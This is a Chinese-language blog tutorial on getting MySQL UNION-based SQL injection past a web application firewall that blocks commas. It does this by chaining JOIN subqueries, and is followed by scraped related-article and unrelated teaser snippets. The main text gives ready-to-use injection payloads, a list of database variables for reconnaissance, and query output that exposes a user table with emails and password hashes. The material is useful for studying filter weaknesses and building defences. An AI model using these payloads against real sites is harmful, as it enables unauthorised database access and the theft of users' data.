[SQL注入] 逗号拦截绕过
在SQL注入时,在确定了注入点后,一般都需要使用联合查询猜表的列数,也就是常见的order by n,n从大到小,直到返回正常,就确定了当前查询的列的个数。
然后再使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,然后再 UNION SELECT 1,2,3,4,database(),6,7..n ,这是一个常规流程,语句中包含了多个逗号。
但是如果有WAF拦截了逗号时,我们的联合查询就被拦截了。
如果想绕过,就需要使用 Join 方法绕过。join的介绍看我的另一篇文章。
其实就简单的几句,在显示位上替换为常见的注入变量或其它语句:
union select 1,2,3,4;
union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);
常用数据库变量:
User() 查看用户
database() --查看数据库名称
Version() --查看数据库版本
@@datadir --数据库路径
@@version_compile_os--操作系统版本
system_user() --系统用户名
current_user()--当前用户名
session_user()--连接数据库的用户名
举例:
1. 假设我有一个表user,有5个列(字段),2行记录:
mysql> show tables;
+--------------------------+
| Tables_in_gogs |
+--------------------------+
| user |
| version |
+--------------------------+
2 rows in set (0.00 sec) mysql> desc user;
+----------------------+---------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------------------+---------------+------+-----+---------+----------------+
| id | bigint(20) | NO | PRI | NULL | auto_increment |
| name | varchar(255) | NO | UNI | NULL | |
| email | varchar(255) | NO | | NULL | |
| passwd | varchar(255) | NO | | NULL | |
| salt | varchar(10) | NO | | NULL | |
+----------------------+---------------+------+-----+---------+----------------+
5 rows in set (0.01 sec) mysql> select id,name,email,passwd from user;
+----+-----------+------------------+------------------------------------------------------------------------------------------------------+
| id | name | email | passwd |
+----+-----------+------------------+------------------------------------------------------------------------------------------------------+
| 1 | zhangsan | 11111@qq.com | eeb8ecb282bcc107c36d9d46826db5b86b9a9f2d2c2c3df237184d47fa97cee74ebea158bc4b5e27ad4a5f8e0ea925bbcf5e |
| 2 | ihoney | 102505481@qq.com | a0d63e18d85bc5be5d2d133d1c01d33b2c6653e037afd018a1078e4703ac278c51801d47fcaaee7a6ad8a26d6a3373b7d0af |
+----+-----------+------------------+------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)
2. UNION开头的是我们在URL中注入的语句,这里只是演示,在实际中如果我们在注入语句中有逗号就可能被拦截。
mysql> select id,name,email,passwd from user union select 1,2,3,4;
+----+-----------+------------------+------------------------------------------------------------------------------------------------------+
| id | name | email | passwd |
+----+-----------+------------------+------------------------------------------------------------------------------------------------------+
| 1 | zhangsan | 11111@qq.com | eeb8ecb282bcc107c36d9d46826db5b86b9a9f2d2c2c3df237184d47fa97cee74ebea158bc4b5e27ad4a5f8e0ea925bbcf5e |
| 2 | ihoney | 102505481@qq.com | a0d63e18d85bc5be5d2d133d1c01d33b2c6653e037afd018a1078e4703ac278c51801d47fcaaee7a6ad8a26d6a3373b7d0af |
| 1 | 2 | 3 | 4 |
+----+-----------+------------------+------------------------------------------------------------------------------------------------------+
3 rows in set (0.00 sec)
3. 不出现逗号,使用Join来继续注入
mysql> select id,name,email,passwd from user union select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
+----+-----------+------------------+------------------------------------------------------------------------------------------------------+
| id | name | email | passwd |
+----+-----------+------------------+------------------------------------------------------------------------------------------------------+
| 1 | zhangsan | 11111@qq.com | eeb8ecb282bcc107c36d9d46826db5b86b9a9f2d2c2c3df237184d47fa97cee74ebea158bc4b5e27ad4a5f8e0ea925bbcf5e |
| 2 | ihoney | 102505481@qq.com | a0d63e18d85bc5be5d2d133d1c01d33b2c6653e037afd018a1078e4703ac278c51801d47fcaaee7a6ad8a26d6a3373b7d0af |
| 1 | 2 | 3 | 4 |
+----+-----------+------------------+------------------------------------------------------------------------------------------------------+
3 rows in set (0.00 sec)
4. 绕过之后就可以替换显示的数字位继续注入获取数据库及系统信息
mysql> select id,name,email,passwd from user union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);
+----+-----------+------------------+------------------------------------------------------------------------------------------------------+
| id | name | email | passwd |
+----+-----------+------------------+------------------------------------------------------------------------------------------------------+
| 1 | zhangsan | 11111@qq.com | eeb8ecb282bcc107c36d9d46826db5b86b9a9f2d2c2c3df237184d47fa97cee74ebea158bc4b5e27ad4a5f8e0ea925bbcf5e |
| 2 | ihoney | 102505481@qq.com | a0d63e18d85bc5be5d2d133d1c01d33b2c6653e037afd018a1078e4703ac278c51801d47fcaaee7a6ad8a26d6a3373b7d0af |
| 1 | 2 | 3 | root@localhost gogs /var/lib/mysql/ |
+----+-----------+------------------+------------------------------------------------------------------------------------------------------+
3 rows in set (0.00 sec)
[SQL注入] 逗号拦截绕过的更多相关文章
- SQL注入9种绕过WAF方法
SQL注入9种绕过WAF方法 0x01前言 WAF区别于常规 防火墙 是因为WAF能够过滤特定Web应用程序的内容,而常规防火墙则充当服务器之间的防御门.通过检查HTTP的流量,它可以防御Web应用安 ...
- ModSecurity SQL注入攻击 – 深度绕过技术挑战
ModSecurity是一个入侵探测与阻止的引擎,它主要是用于Web应用程序所以也可以叫做Web应用程序防火墙.它可以作为Apache Web服务器的一个模块或单独的应用程序来运行.ModSecuri ...
- sql注入里关键字绕过的发现
网上大量文章,甚至<黑客攻防技术实战宝典-WEB实战篇>里面都说一些关键字如 select 等绕过可以用注释符/**/. 例如: select,union.可以用 ,se/**/lect, ...
- SQL注入原理及绕过安全狗
1.什么是SQL注入攻击 SQL注入攻击指的是通过构造特殊的输入作为参数插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令 http://www.xxx.com/list. ...
- SQL注入之逗号拦截绕过
目前所知博主仅知的两个方法 1.通过case when then 2.join [一]case when then mysql,,,,,,, ) ) end; +----+-----------+-- ...
- SQL注入--显注和盲注中过滤逗号绕过
SQL注入逗号绕过 1.联合查询显注绕过逗号 在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,语句中包含了多个逗号,如果有WAF拦截了逗号时,我们的联 ...
- 绕过阿里云waf进行SQL注入
做个笔记吧,某SQL注入点的绕过,有阿里云waf的. 首先遇到是个搜索框的注入点: 演示下: 针对搜索框,我们的sql语句一般是怎么写的? 本地演示:select * from product whe ...
- sql注入之堆叠注入及waf绕过注入
#堆叠查询注入 1.堆叠查询概念 stacked injections(堆叠查询注入)从名词的含义就可以看出一应该是一堆(多条)sql语句一起执行.而在真实运用中也是如此,我们知道在mysql中,主要 ...
- 深入了解SQL注入绕过waf和过滤机制
知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...
随机推荐
- HDU 1875(最小生成树)
因为是全连接图,所以也可以用最小生成树 这道题给边加了一个限制条件,(10<=x<=1000),所以可能不能全连通,需要判断 #include <cstdio> #includ ...
- Linux下ipv6配置系列
Linux下ipv6配置系列一:如何配置Linux系统ipv6环境 Linux下ipv6配置系列二:如何为Nginx添加ipv6模块 Linux下ipv6配置系列三:如何为Nginx配置IPv6端口监 ...
- composer gitlab 搭建私包
一.建立私包git 1.执行composer init 根据提示生成composer.json 2.编辑composer.json 目录格式 { "name": "iar ...
- 微服务架构之spring cloud gateway
Spring Cloud Gateway是spring cloud中起着非常重要的作用,是终端调用服务的入口,同时也是项目中每个服务对外暴露的统一口径,我们可以在网关中实现路径映射.权限验证.负载均衡 ...
- SVN - Checksum mismatch while updating
Go to the folder with the file causing problems Execute command svn update --set-depth empty (note: ...
- Keras 自适应Learning Rate (LearningRateScheduler)
When training deep neural networks, it is often useful to reduce learning rate as the training progr ...
- AutoCAD LoadLibrary Failed with error 126 Message
LoadLibrary Failed with error 126 Message BY C3DISH ON 26 MAY, 2013 · ADD COMMENT I wanted to post a ...
- Totem协议(SRP/RRP)讲解
基本概念 •SRP: The Totem Single-Ring Ordering and MembershipProtocol –基于以太网的组通信协议,节点间组成单环结构 ...
- Android图片处理--缩放
PS:在开发中我们会遇到一些图片处理问题,比如说缓存图片了.限制图片大小了.查看图片了等.上一篇文章介绍了图片的全景效果查看,今天介绍一个图片缩放,我们如果有时间的话,可以自己写一个属于自己的库,里面 ...
- volley7--NetworkDispatcher从网络中获取数据
源码: /* * Copyright (C) 2011 The Android Open Source Project * * Licensed under the Apache License, V ...